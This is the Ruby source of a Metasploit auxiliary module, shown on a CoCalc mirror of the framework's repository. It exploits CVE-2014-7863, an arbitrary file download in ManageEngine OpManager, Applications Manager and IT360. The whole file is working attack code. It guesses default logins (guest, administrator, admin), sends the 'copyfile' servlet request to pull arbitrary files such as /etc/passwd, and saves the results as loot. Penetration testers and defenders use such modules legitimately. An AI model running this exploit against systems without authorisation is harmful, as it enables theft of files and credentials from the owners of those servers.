CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/manageengine_file_download.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'ManageEngine Multiple Products Arbitrary File Download',
15
'Description' => %q{
16
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
17
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
18
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
19
module will attempt to login using the default credentials for the administrator and
20
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
21
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
22
8300). This module has been tested on both Windows and Linux with several different
23
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
24
a companion module that allows the recursive listing of any directory. This
25
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2014-7863'],
33
['OSVDB', '117695'],
34
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
35
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
36
],
37
'DisclosureDate' => '2015-01-28'
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(80),
44
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
45
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
46
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
47
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
48
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
49
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
50
]
51
)
52
end
53
54
def post_auth?
55
true
56
end
57
58
def get_cookie
59
cookie = nil
60
res = send_request_cgi({
61
'method' => 'GET',
62
'uri' => normalize_uri(datastore['TARGETURI'])
63
})
64
65
if res
66
cookie = res.get_cookies
67
end
68
69
cookie
70
end
71
72
def detect_it360
73
res = send_request_cgi({
74
'uri' => '/',
75
'method' => 'GET'
76
})
77
78
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
79
return true
80
end
81
82
return false
83
end
84
85
def get_it360_cookie_name
86
res = send_request_cgi({
87
'method' => 'GET',
88
'uri' => normalize_uri('/')
89
})
90
91
cookie = res.get_cookies
92
93
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
94
return ::Regexp.last_match(1)
95
else
96
return nil
97
end
98
end
99
100
def authenticate_it360(port, path, username, password)
101
if datastore['DOMAIN_NAME'].nil?
102
vars_post = {
103
'LOGIN_ID' => username,
104
'PASSWORD' => password,
105
'isADEnabled' => 'false'
106
}
107
else
108
vars_post = {
109
'LOGIN_ID' => username,
110
'PASSWORD' => password,
111
'isADEnabled' => 'true',
112
'domainName' => datastore['DOMAIN_NAME']
113
}
114
end
115
116
res = send_request_cgi({
117
'rport' => port,
118
'method' => 'POST',
119
'uri' => normalize_uri(path),
120
'vars_get' => {
121
'service' => 'OpManager',
122
'furl' => '/',
123
'timestamp' => Time.now.to_i
124
},
125
'vars_post' => vars_post
126
})
127
128
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
129
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
130
return res.get_cookies
131
end
132
133
nil
134
end
135
136
def login_it360
137
# Do we already have a valid cookie? If yes, just return that.
138
unless datastore['IAMAGENTTICKET'].nil?
139
cookie_name = get_it360_cookie_name
140
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
141
return cookie
142
end
143
144
# get the correct path, host and port
145
res = send_request_cgi({
146
'method' => 'GET',
147
'uri' => normalize_uri('/')
148
})
149
150
if res && res.redirect?
151
uri = [ res.redirection.port, res.redirection.path ]
152
else
153
return nil
154
end
155
156
if datastore['USERNAME'] && datastore['PASSWORD']
157
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
158
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
159
unless cookie.nil?
160
return cookie
161
end
162
end
163
164
default_users = ['guest', 'administrator', 'admin']
165
166
default_users.each do |user|
167
print_status("Trying to authenticate as #{user}...")
168
cookie = authenticate_it360(uri[0], uri[1], user, user)
169
unless cookie.nil?
170
return cookie
171
end
172
end
173
174
nil
175
end
176
177
def run
178
# No point to continue if filepath is not specified
179
if datastore['FILEPATH'].empty?
180
print_error('Please supply the path of the file you want to download.')
181
return
182
end
183
184
if detect_it360
185
print_status('Detected IT360, attempting to login...')
186
cookie = login_it360
187
if cookie.nil?
188
print_error('Failed to login to IT360!')
189
return
190
end
191
else
192
cookie = get_cookie
193
end
194
195
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
196
res = send_request_cgi({
197
'method' => 'GET',
198
'cookie' => cookie,
199
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
200
})
201
if res && res.code == 404
202
servlet = 'FailOverHelperServlet'
203
end
204
205
# Create request
206
begin
207
print_status("Downloading file #{datastore['FILEPATH']}")
208
res = send_request_cgi({
209
'method' => 'POST',
210
'cookie' => cookie,
211
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
212
'vars_get' => {
213
'operation' => 'copyfile',
214
'fileName' => datastore['FILEPATH']
215
}
216
})
217
rescue Rex::ConnectionRefused
218
print_error('Could not connect.')
219
return
220
end
221
222
# Show data if needed
223
if res && res.code == 200
224
225
if res.body.to_s.bytesize == 0
226
print_error('0 bytes returned, file does not exist or is empty.')
227
return
228
end
229
230
vprint_line(res.body.to_s)
231
fname = File.basename(datastore['FILEPATH'])
232
233
path = store_loot(
234
'manageengine.http',
235
'application/octet-stream',
236
datastore['RHOST'],
237
res.body,
238
fname
239
)
240
print_good("File saved in: #{path}")
241
else
242
print_error('Failed to download file.')
243
end
244
end
245
end
246
247